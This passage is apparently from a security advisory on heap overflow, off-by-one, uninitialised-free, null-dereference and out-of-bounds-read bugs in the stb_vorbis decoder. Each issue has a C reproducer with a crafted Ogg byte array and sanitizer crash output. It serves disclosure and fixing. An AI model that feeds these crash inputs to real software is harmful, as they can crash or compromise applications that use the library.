                            0x00,0x04,0x00,0x02,0x00,0x08,0x00,0x00,0x01,
                            0x00,0x2e,0xa9,0xcb,0x4f,0x67,0x67,0x53,0x00,
                            0x28,0x00,0x00,0xf7,0xff,0xff,0x7f,0x68,0x00,
                            0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x76,0x6f,
                            0x72,0x73,0x00,0x00,0x03,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0xff,0xff,0xff,0xee};
    size_t size = sizeof(data);

    stb_vorbis_alloc alloc;
    int alloc_buffer_length = 600 * 1024;
    alloc.alloc_buffer = (char*)malloc(alloc_buffer_length);
    alloc.alloc_buffer_length_in_bytes = alloc_buffer_length;
    int err;
    stb_vorbis* out = stb_vorbis_open_memory(data, size, &err, &alloc);
    stb_vorbis_close(out);
    free(alloc.alloc_buffer);
    return 0;
}
  1. Run the program to hit the error.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==302322==ERROR: AddressSanitizer: SEGV on unknown address 0x7f70bd3697ff (pc 0x0000004e41f4 bp 0x7ffc029b3070 sp 0x7ffc029b0be0 T0)
==302322==The signal is caused by a WRITE memory access.
    #0 0x4e41f4 in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3658:19
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8
    #2 0x4fd8e9 in main tests/stb_vorbis_fuzzer.c:24:23

Issue 11: Off-by-one heap buffer write in start_decoder (GHSL-2023-168)

A crafted file may trigger out of buffer write in start_decoder at [1] and [2]

      for (j=0; j < m->submaps; ++j) {
         get_bits(f,8); // discard
         m->submap_floor[j] = get_bits(f,8); // [1] Off by one write
         m->submap_residue[j] = get_bits(f,8); // [2] Off by one write
         if (m->submap_floor[j] >= f->floor_count)      return error(f, VORBIS_invalid_setup);
         if (m->submap_residue[j] >= f->residue_count)  return error(f, VORBIS_invalid_setup);
      }

because at maximum m->submaps can be 16 [3]

      if (get_bits(f,1))
         m->submaps = get_bits(f,4)+1; // [3]
      else
         m->submaps = 1;
      if (m->submaps > max_submaps)
         max_submaps = m->submaps;

but submap_floor and submap_residue are declared as arrays of 15 elements at [4] and [5]

typedef struct
{
   uint16 coupling_steps;
   MappingChannel *chan;
   uint8  submaps;
   uint8  submap_floor[15]; // varies // [4]
   uint8  submap_residue[15]; // varies // [5]
} Mapping;

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make UBSAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x01,0x5a,0x81,
                            0x15,0x9c,0x00,0x00,0xbe,0x21,0x68,0x00,0x00,
                            0x00,0x00,0x00,0x00,0xa2,0x64,0x89,0x6f,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x0e,0x31,0x1e,0x01,0x76,0x6f,
                            0x72,0xe3,0x12,0x02,0x62,0x69,0x20,0xd7,0x73,
                            0x06,0xd0,0x97,0x75,0x4f,0x67,0x67,0x53,0x00,
                            0x9c,0x00,0xfc,0x00,0x4b,0x02,0x2d,0x24,0x00,
                            0x21,0x68,0x00,0x00,0x01,0x00,0x00,0x00,0xff,
                            0xff,0xff,0x05,0x05,0x16,0x3e,0x16,0x01,0x01,
                            0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x27,0x04,0x00,
                            0x7b,0x0b,0x12,0x0d,0x05,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0x00,0x42,0x43,0x56,0x27,0x01,0x04,
                            0x00,0x00,0x04,0x20,0x04,0x00,0x00,0x00,0x40,
                            0x00,0x00,0x50,0x00,0x01,0x00,0x00,0x81,0x00,
                            0x00,0x08,0xd2,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x80,0x0f,0x20,0x10,0x28,0x30,0x18,0x15,
                            0x15,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x8a,0x8a,0xff,0x00};
    size_t size = sizeof(data);

    stb_vorbis* out = stb_vorbis_open_memory(data, size, NULL, NULL);
    stb_vorbis_close(out);
    return 0;
}
  1. Run the program to hit the error.
/src/stb/tests/../stb_vorbis.c:4107:10: runtime error: index 15 out of bounds for type 'uint8[15]' (aka 'unsigned char[15]')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /src/stb/tests/../stb_vorbis.c:4107:10 in

Issue 12: Attempt to free an uninitialized memory pointer in vorbis_deinit (GHSL-2023-169)

A crafted file may trigger memory allocation failure in start_decoder at [1]. In that case the function returns early [2], but some of the pointers in f->comment_list are left initialized [3].

   f->comment_list_length = get32_packet(f);
   f->comment_list = NULL;
   if (f->comment_list_length > 0)
   {
      f->comment_list = (char**) setup_malloc(f, sizeof(char*) * (f->comment_list_length)); // [3]
      if (f->comment_list == NULL)                  return error(f, VORBIS_outofmem);
   }

   for(i=0; i < f->comment_list_length; ++i) {
      len = get32_packet(f);
      f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [1] OOM
      if (f->comment_list[i] == NULL)               return error(f, VORBIS_outofmem); // [2]

      for(j=0; j < len; ++j) {
         f->comment_list[i][j] = get8_packet(f);
      }
      f->comment_list[i][len] = (char)'\0';
   }

Later setup_free is called on these pointers in vorbis_deinit [4].

static void vorbis_deinit(stb_vorbis *p)
{
   int i,j;

   setup_free(p, p->vendor);
   for (i=0; i < p->comment_list_length; ++i) {
      setup_free(p, p->comment_list[i]); // [4]
   }

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x7a,0x18,0xfe,0xa9,0x00,0x53,
                            0x00,0xe3,0xb5,0x21,0x68,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x6b,0x0e,0xa0,0x75,0x01,0x1e,0x01,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0x00,0x00,0x00,0x00,0x01,0xfb,0x07,0xae,0x69,
                            0x73,0x00,0x00,0x00,0x00,0x2e,0x09,0x3c,0xff,0x30,0x00,
                            0x01,0xa9,0xf9,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x7e,
                            0x79,0x6f,0x42,0x0c,0xc5,0x97,0x21,0x68,0x00,0x00,0x01,
                            0x00,0x00,0x00,0x6f,0x11,0x00,0x00,0x00,0x03,0x76,0x6f,
                            0x72,0x62,0x69,0x73,0x00,0x00,0x00,0x00,0x2e};
    size_t size = sizeof(data);

    int chan, samplerate;
    short *output;
    int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
    if (samples >= 0)
        free(output);
    return 0;
}
  1. Run the program with an instruction that allocator may fail (otherwise ASAN will quit early with AddressSanitizer: requested allocation size ... exceeds maximum supported size): ASAN_OPTIONS=allocator_may_return_null=1 <program name> to hit the error.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==217447==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000041f6d4 bp 0x000000000000 sp 0x7ffd3e146c60 T0)
==217447==The signal is caused by a READ memory access.
    #0 0x41f6d4 in atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t> /src/llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:81:10
    #1 0x41f6d4 in AtomicallySetQuarantineFlagIfAllocated /src/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:610:10
    #2 0x41f6d4 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /src/llvm-project/compiler-rt/lib/asan/asan_allocator.cpp:685:10
    #3 0x49e5d5 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:53:3
    #4 0x4dcedb in setup_free(stb_vorbis*, void*) tests/../stb_vorbis.c:966:4
    #5 0x4dbe57 in vorbis_deinit(stb_vorbis*) tests/../stb_vorbis.c:4214:7
    #6 0x4f9638 in stb_vorbis_open_memory tests/../stb_vorbis.c:5122:4
    #7 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20

Issue 13: Null pointer dereference in vorbis_deinit (GHSL-2023-170)

A crafted file may trigger memory allocation failure in start_decoder at [1]. In that case the function returns early [2], the f->comment_list is set to NULL, but f->comment_list_length is not reset.

   f->comment_list_length = get32_packet(f);
   f->comment_list = NULL;
   if (f->comment_list_length > 0)
   {
      f->comment_list = (char**) setup_malloc(f, sizeof(char*) * (f->comment_list_length)); // [1] OOM
      if (f->comment_list == NULL)                  return error(f, VORBIS_outofmem); // [2]
   }

Later in vorbis_deinit it tries to dereference the NULL pointer at [3].

static void vorbis_deinit(stb_vorbis *p)
{
   int i,j;

   setup_free(p, p->vendor);
   for (i=0; i < p->comment_list_length; ++i) {
      setup_free(p, p->comment_list[i]); // [3]
   }

Impact

This issue may lead to denial of service.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0xb6,0xe4,0xb5,0x67,0x00,0x00,0x00,0x00,0x3b,0x21,0x03,0x0f,0x01,0x1e,
                            0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,0x00,0x00,0x01,0x44,0xac,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x38,0x01,0x00,0x00,0x00,0x00,0x00,
                            0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0xb6,0xe4,0xb5,0x67,0x01,0x00,0x00,0x00,0x83,0xb5,0x32,0x7b,
                            0x0e,0x3b,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
                            0x81,0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x2b,0x00,0x00,0x00,0x58,0x69,
                            0x70,0x68,0x2e,0x4f,0x72,0x67,0x20,0x6c,0x69,0x62,0x56,0x6f,0x72,0x62,
                            0x69,0x73,0x20,0x73,0xbe,0x61,0x97,0xcc,0x7c,0x55,0x7e,0xc6,0x03,0x1a,
                            0x85,0x7f,0x3d,0x39,0x3f,0x7f,0x8b,0xa9,0x41,0x21,0x11,0x14,0xf7,0x47,
                            0x7a,0x38,0x30,0x05,0x48,0xa5,0x77,0x3b,0x31,0x88,0xaa,0xba,0xd9,0xdd,
                            0x8f,0x4e,0xfd,0xbd,0xa2,0xa7,0x0e,0xb7,0x02,0x78,0x00,0x3e,0x96,0xfc,
                            0xef,0xac,0x5f,0x9a,0x02,0x36,0x00,0x82,0x2a,0x82,0x12,0x0c,0x04,0x22,
                            0x02,0x00,0x00,0x3c,0x58,0x06,0x9e,0x8f,0x59,0xd9,0xb0,0x6f,0x68,0xea,
                            0x52,0x32,0x1f,0x02,0x66,0xd3,0x81,0xa5,0x77,0xb1,0x23,0x2f,0x69,0xeb,
                            0x3f,0x61,0x04,0x65,0x9d,0xcf,0x87,0x93,0x9c,0x30,0xab,0x98,0xc1,0x29,
                            0x79,0x9c,0xb3,0x84,0xe9,0x16,0x00,0x1a,0x00,0x77,0xc4,0x84,0x86,0x31,
                            0x00,0x34,0xa0,0x03};
    size_t size = sizeof(data);

    int chan, samplerate;
    short *output;
    int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
    if (samples >= 0)
        free(output);
    return 0;
}
  1. Run the program to hit the error.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==264664==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004dbe50 bp 0x7ffddf2f2e30 sp 0x7ffddf2f2b40 T0)
==264664==The signal is caused by a READ memory access.
    #0 0x4dbe50 in vorbis_deinit(stb_vorbis*) tests/../stb_vorbis.c:4214:21
    #1 0x4f9638 in stb_vorbis_open_memory tests/../stb_vorbis.c:5122:4
    #2 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20

Issue 14: Out of bounds heap buffer write (GHSL-2023-171)

A crafted file may trigger memory write past an allocated heap buffer in start_decoder at [1]. The root cause is a potential integer overflow sizeof(char*) * (f->comment_list_length) at [2] which may make setup_malloc allocate less memory than required. Since there is another integer overflow at [1] attacker may overflow it too to force setup_malloc to return 0 and make the exploit more reliable.

   f->comment_list_length = get32_packet(f);
   f->comment_list = NULL;
   if (f->comment_list_length > 0)
   {
      f->comment_list = (char**) setup_malloc(f, sizeof(char*) * (f->comment_list_length)); // [2] Int overflow
      if (f->comment_list == NULL)                  return error(f, VORBIS_outofmem);
   }

   for(i=0; i < f->comment_list_length; ++i) {
      len = get32_packet(f);
      f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len+1)); // [1] OOB
      if (f->comment_list[i] == NULL)               return error(f, VORBIS_outofmem);

      for(j=0; j < len; ++j) {
         f->comment_list[i][j] = get8_packet(f);
      }
      f->comment_list[i][len] = (char)'\0';
   }

Similar potential vulnerability exists in other setup_malloc use cases as:

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0xb6,0xe4,0xb5,0x67,0x00,0x00,0x00,0x00,0x3b,0x21,0x03,0x0f,0x01,0x1e,
                            0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,0x00,0x00,0x01,0x44,0xac,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x38,0x01,0x00,0x00,0x00,0x00,0x00,
                            0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0xb6,0xe4,0xb5,0x67,0x01,0x00,0x00,0x00,0x83,0xb5,0x32,0x7b,
                            0x0e,0x63,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
                            0x81,0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x2b,0x00,0x00,0x00,0x58,0x69,
                            0x70,0x68,0x2e,0x4f,0x72,0x67,0x20,0x6c,0x69,0x62,0x56,0x6f,0x72,0x62,
                            0x69,0x73,0x20,0x73,0xbe,0x61,0x97,0xcc,0x7c,0x55,0x7e,0xc6,0x03,0x1a,
                            0x85,0x7f,0x3d,0x39,0x3f,0x7f,0x8b,0xa9,0x41,0x21,0x11,0x14,0xf7,0x01,
                            0x00,0x00,0x20,0x00,0x00,0x00,0x00};
    size_t size = sizeof(data);

    int chan, samplerate;
    short *output;
    int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
    if (samples >= 0)
        free(output);
    return 0;
}
  1. Run the program to hit the error.
==359215==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000018 at pc 0x0000004e45b7 bp 0x7ffcdb4f8df0 sp 0x7ffcdb4f8de8
WRITE of size 8 at 0x602000000018 thread T0
    #0 0x4e45b6 in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3670:26
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8
    #2 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20

Issue 15: Wild address read in vorbis_decode_packet_rest (GHSL-2023-172)

A crafted file may trigger out of bounds read in DECODE macro when var is negative [1]

#define DECODE(var,f,c)                                       \
   DECODE_RAW(var,f,c)                                        \
   if (c->sparse) var = c->sorted_values[var]; // [1] OOB

As it can be seen in the definition of DECODE_RAW negative var is a valid value [2] and [3] (codebook_decode_scalar_raw may also return a negative value).

#define DECODE_RAW(var, f,c)                                  \
   if (f->valid_bits < STB_VORBIS_FAST_HUFFMAN_LENGTH)        \
      prep_huffman(f);                                        \
   var = f->acc & FAST_HUFFMAN_TABLE_MASK;                    \
   var = c->fast_huffman[var];                                \
   if (var >= 0) {                                            \
      int n = c->codeword_lengths[var];                       \
      f->acc >>= n;                                           \
      f->valid_bits -= n;                                     \
      if (f->valid_bits < 0) { f->valid_bits = 0; var = -1; } \ // [2]
   } else {                                                   \
      var = codebook_decode_scalar_raw(f,c);                  \ // [3]
   }

Impact

This issue may be used to leak internal memory allocation information.

Resources

To reproduce the issue:

  1. Make ASAN build of the following program:
#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x00,0x2b,0x00,0x00,0x00,0x00,0x00,0x00,0x39,0x30,0x00,0x00,
                            0x00,0x00,0x00,0x00,0xf1,0x49,0x93,0x48,0x01,0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x02,0x44,0xac,0x00,0x00,0xff,0xff,0xff,0xff,0x8f,0xb5,0x01,0x00,0xff,0xff,
                            0xff,0xff,0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x39,0x30,0x00,0x00,0x01,0x00,0x00,0x00,0x65,0x9b,0x7d,0x94,0x0a,0x63,0xff,0xff,0xff,0xff,
                            0xff,0xff,0xff,0xff,0x3c,0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x20,0x00,0x00,0x00,0x58,0x6f,
                            0x7c,0x69,0x70,0x80,0x72,0x70,0x75,0x68,0x62,0x68,0xd4,0x75,0x6f,0x56,0x6f,0x72,0x62,0x69,
                            0x73,0x20,0x49,0x08,0x32,0x30,0x30,0x31,0x31,0x32,0x33,0x32,0x02,0x00,0x00,0x00,0x1c,0x00,
                            0x00,0x00,0x54,0x49,0x54,0x4c,0x45,0x3d,0x47,0x72,0x6f,0x6f,0x76,0x65,0x20,0x49,0x73,0x20,
                            0x49,0x6e,0x20,0x54,0x68,0x65,0xe9,0x48,0x65,0x61,0x72,0x74,0x0f,0x00,0x00,0x00,0x41,0x52,
                            0x54,0x49,0x53,0x54,0x3d,0x44,0x65,0x65,0x2d,0x6c,0x6d,0x74,0x65,0x01,0x05,0x76,0x6f,0x72,
                            0x62,0x69,0x73,0x22,0x42,0x43,0x56,0x01,0x00,0x40,0x00,0x00,0x06,0xc3,0xb2,0x2d,0x47,0xc4,
                            0x05,0x2c,0xc5,0xa3,0x6a,0x36,0x6c,0xc0,0xb4,0x01,0x00,0x00,0x00,0x10,0x1a,0xb2,0x0a,0x00,
                            0x00,0x02,0x00,0x30,0x38,0x92,0xa9,0x29,0x8e,0x29,0x5a,0x9a,0x0c,0x9a,0xa3,0xc9,0x9e,0xa4,
                            0xd9,0xa6,0x66,0x02,0xd1,0xf2,0x98,0x96,0x67,0xbb,0x9a,0x08,0xd8,0x2e,0x36,0x00,0x40,0x68,
                            0xc8,0x2a,0x00,0x00,0x10,0x00,0xc0,0x23,0x49,0x92,0x24,0x49,0x92,0x24,0x49,0x92,0x24,0x49,
                            0x96,0x64,0x49,0x96,0xa4,0x49,0x9a,0xa4,0x49,0x9a,0xa4,0x49,0x9e,0xe5,0x59,0xa2,0x25,0x5a,
                            0xa2,0x65,0x5a,0xa6,0x66,0x6a,0xaa,0xa6,0x6a,0xaa,0x27,0x7b,0xae,0xe7,0x8a,0xb2,0xe8,0x9a,
                            0xba,0xa9,0xab,0x54,0xaa,0xee,0xda,0x36,0x9b,0x6c,0xeb,0x6c,0x5b,0x07,0x9d,0x0e,0x40,0x07,
                            0x00,0x00,0x00,0x08,0x0d,0x59,0x05,0x00,0x64,0x00,0x00,0xe8,0x38,0x8e,0xe3,0x48,0x8a,0xa4,
                            0x48,0x8e,0xe4,0x48,0x92,0x64,0x59,0x96,0xa5,0x69,0x9a,0x06,0x84,0x86,0xac,0x02,0x00,0x64,
                            0x00,0x00,0x04,0x00,0x00,0x50,0x0c,0x45,0x71,0x14,0xc9,0x91,0x24,0xcf,0xf3,0x34,0xcf,0xe3,
                            0x01,0x80,0xd0,0x90,0x55,0x00,0x00,0x20,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x84,0x86,0xac,0x02,0x00,0x24,0x00,0x00,0x74,
                            0x1c,0xc7,0x71,0x24,0x45,0x72,0x1c,0xc7,0x71,0x1c,0x47,0x92,0x80,0xd0,0x90,0x55,0x00,0x80,
                            0x0c,0x00,0x80,0x00,0x00,0x14,0x45,0x71,0x1c,0xc7,0x71,0x24,0x49,0x92,0x24,0x4b,0xb2,0x2c,
                            0xcd,0xd2,0x34,0x4f,0xf3,0x34,0xd1,0x33,0x4d,0x4f,0x14,0x81,0xd0,0x90,0x55,0x00,0x00,0x20,
                            0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x2c,0x83,0xe2,0x38,0x0e,0xc7,0x91,0x1c,0x4b,0x22,
                            0x49,0x92,0x84,0x05,0x00,0x00,0xb0,0x00,0x00,0x00,0x00,0x80,0xd0,0x90,0x55,0x00,0x00,0x02,
                            0x00,0x00,0x20,0x8c,0x22,0x88,0x31,0x20,0x34,0x64,0x15,0x00,0x00,0x01,0x00,0x60,0x70,0x14,
                            0x92,0x26,0x32,0x3c,0x91,0x05,0x20,0x34,0x64,0x15,0x00,0x00,0x04,0x00,0x60,0x30,0x2c,0xa2,
                            0x24,0x32,0x35,0x11,0x68,0x8a,0x45,0x94,0x44,0xb6,0xaa,0x02,0x59,0x74,0xc9,0xa6,0x4b,0x97,
                            0x75,0x00,0x00,0x00,0x84,0x86,0xac,0x02,0x00,0x80,0x00,0x00,0x0c,0x8a,0x24,0x6b,0x8e,0x65,
                            0x8a,0x9a,0xe9,0x83,0xa5,0x68,0xbe,0x26,0x79,0x3c,0x49,0x05,0xae,0x67,0x72,0x35,0x55,0x57,
                            0x3d,0x55,0x07,0x6c,0x74,0x5b,0x06,0x00,0x42,0x43,0x56,0x01,0x00,0x20,0x00,0x00,0x07,0xb2,
                            0xce,0x20,0x34,0x64,0x15,0x00,0x00,0x08,0x00,0x20,0x00,0x00,0x00,0x40,0x51,0x1c,0xc5,0x71,
                            0x24,0x47,0x72,0x24,0xc9,0x92,0x2c,0xc9,0xb2,0x2c,0x4d,0xd3,0x3c,0x4f,0x14,0x45,0xd1,0x33,
                            0x45,0x98,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x0d,0x59,0x05,0x00,0x80,0x00,0x00,
                            0x10,0xc6,0x18,0x63,0x10,0x42,0x08,0x21,0xa4,0x90,0x42,0x0c,0x31,0xe5,0x94,0x53,0x90,0x49,
                            0x46,0x1d,0x05,0x42,0x43,0x56,0x01,0x00,0x80,0x00,0x00,0x02,0x00,0x00,0x00,0x0c,0x4b,0xb1,
                            0x14,0x4f,0xf1,0x1c,0xcf,0x51,0x1d,0x53,0x22,0xa9,0x12,0x4b,0xd5,0x78,0x34,0x1e,0x8f,0xc8,
                            0xa4,0x32,0x81,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x34,0x64,0x15,0x00,0x20,0x01,0x00,
                            0xa0,0x23,0x39,0x92,0x23,0x29,0x92,0xe2,0x28,0x8e,0x23,0x49,0x92,0x04,0x84,0x86,0xac,0x02,
                            0xff,0x64,0x00,0x00,0x04,0x00,0x60,0x38,0x8a,0xa4,0x48,0x8a,0xa5,0x68,0x8e,0x67,0x79,0x9a,
                            0x68,0x9a,0xa6,0xab,0xaa,0xaa,0x2b,0xbb,0x64,0x17,0x17,0x08,0x0d,0x59,0x05,0x00,0x00,0x02,
                            0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x42,0x43,0x56,0x01,0xff,0x12,0x00,0x00,0x3a,0x8e,0xe3,0x38,0x8e,0xe3,0x38,0x8e,0xe3,0x38,
                            0x8e,0xe4,0x48,0x40,0x68,0xc8,0x2a,0x00,0x40,0x06,0x00,0x40,0x00,0x00,0x86,0x63,0x38,0x8a,
                            0xe5,0x68,0x92,0x27,0x79,0x96,0x67,0x79,0x9a,0xa7,0x79,0x9e,0xe7,0x79,0x9e,0x28,0x9a,0xa2,
                            0x29,0x8a,0x40,0x68,0xc8,0x2a,0x00,0x00,0x10,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x8a,
                            0xa3,0x38,0x8e,0xe3,0x48,0x92,0xe4,0xb0,0x48,0x96,0x23,0x49,0x16,0x8b,0x24,0x01,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x20,0x34,0x64,0x25,0x00,0x00,0x04,0x00,0x60,0x01,0x57,0x95,0x79,0x9e,
                            0x08,0x2c,0xc7,0x32,0x41,0x93,0x2c,0x13,0x44,0x4d,0x13,0x21,0x81,0xe3,0x98,0x0a,0x28,0x8a,
                            0x27,0x7a,0x8e,0x63,0x79,0x9a,0x0c,0x84,0x86,0xac,0x08,0x00,0xe2,0x04,0x00,0x0c,0x8e,0x03,
                            0xcd,0x82,0x65,0xc1,0x75,0x01,0x8e,0x65,0x41,0xf4,0xe0,0x89,0xd0,0x65,0x80,0x63,0x59,0xf0,
                            0x44,0x88,0x1e,0x64,0x1b,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xcd,0x13,0x21,
                            0x8a,0x10,0x4d,0xd8,0x32,0xc0,0x12,0x3d,0x88,0x22,0x4c,0x11,0xae,0x0d,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x00,0x80,0x25,0x7a,0x30,0x45,0x88,0x22,0x64,0x19,0x60,0x79,0x22,0x44,
                            0x13,0xa2,0x08,0x59,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x95,0x6d,0xc8,
                            0x36,0x64,0x19,0xba,0x0e,0x70,0x75,0x19,0xb2,0x0c,0x59,0x86,0xae,0x03,0x00,0x00,0x00,0x00,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x02,0x00,0x00,0x07,0xdb,0xff,0x00,0x02,0x4c,0x28,0x03,0x85,0x86,0xac,0x04,0x00,0xa2,0x00,
                            0x00,0x0c,0x8a,0x22,0x49,0x40,0x92,0x34,0x0b,0x48,0x92,0xa5,0x01,0xcf,0x13,0x45,0x80,0x29,
                            0x02,0x64,0x17,0xe0,0xba,0x00,0xdb,0x06,0x00,0x02,0x00,0x00,0x09,0xea,0x64,0xb8,0x02,0x6c,
                            0xd0,0x94,0x58,0x1c,0xa0,0xd0,0x90,0x95,0x00,0x40,0x48,0x00,0x80,0x43,0x51,0x24,0xc9,0xb2,
                            0x3c,0x0f,0x80,0xe3,0x58,0x96,0xa6,0x79,0x22,0x00,0xc7,0xb1,0x2c,0x4d,0x13,0x3d,0x00,0x9e,
                            0xe7,0x79,0xa2,0x68,0x9a,0x00,0xf0,0x3c,0x51,0x34,0x4d,0x00,0xa8,0xaa,0xaa,0xaa,0x2a,0x00,
                            0x54,0xd5,0x54,0x55,0x15,0x00,0xb2,0x2c,0xcb,0xb6,0x0c,0x00,0x64,0x59,0x96,0x01,0x80,0xae,
                            0xfb,0x3a,0x00,0xb0,0x75,0x5f,0x07,0x00,0xc2,0x30,0x1c,0x01,0x00,0x61,0x08,0x00,0x18,0x4b,
                            0x00,0xc0,0x58,0x02,0x00,0xc6,0x11,0x00,0x00,0x40,0x00,0x00,0xc0,0x81,0x03,0x00,0x40,0x80,
                            0x11,0x87,0x92,0x51,0x65,0x11,0x30,0x9a,0x70,0xe1,0x01,0x28,0x34,0x64,0x25,0x00,0x10,0x0e,
                            0x00,0x60,0x50,0x0c,0xcb,0xf2,0x3c,0x55,0x05,0xd5,0x4b,0xf3,0x3c,0xd3,0x94,0x65,0xc0,0xd3,
                            0x2c,0xcf,0x33,0x4d,0xd9,0x05,0xa8,0xae,0xaa,0xba,0xaa,0xad,0x03,0x5c,0xd3,0x75,0x65,0x59,
                            0xd7,0x01,0xb6,0xf0,0xea,0xb6,0xae,0xfb,0x00,0xb6,0xee,0xea,0xba,0x31,0x04,0x90,0x85,0x5d,
                            0x58,0x02,0x50,0x5e,0x63,0x27,0x04,0x10,0xda,0xca,0x12,0x00,0x5d,0x99,0x19,0x01,0xf0,0x29,
                            0x01,0xc0,0x26,0x04,0xc0,0x68,0x04,0x00,0x84,0x40,0x00,0x00,0xe6,0x82,0x00,0x00,0x70,0x81,
                            0xcd,0x31,0xac,0x24,0x9d,0x15,0x8e,0x06,0x17,0x1a,0xb2,0x12,0x00,0x88,0x01,0x00,0x20,0x0c,
                            0x41,0x08,0x21,0x87,0x90,0x42,0x4a,0x31,0x84,0x90,0x52,0xca,0x31,0xc6,0x18,0x63,0xce,0x39,
                            0xc6,0x18,0x83,0x10,0x3a,0xe7,0x1c,0x84,0x90,0x31,0xe7,0x04,0x00,0x00,0x0e,0x38,0x00,0x00,
                            0x04,0x98,0x98,0x98,0xc2,0x42,0x43,0x56,0x04,0x00,0x51,0x00,0x00,0x06,0x45,0x01,0x1c,0x49,
                            0x02,0x1c,0x49,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x01,0x0e,0x00,0x00,
                            0x01,0x16,0x42,0xa1,0x21,0x2b,0x01,0x80,0x28,0x00,0x00,0x83,0x62,0x48,0x8e,0x66,0x79,0x1e,
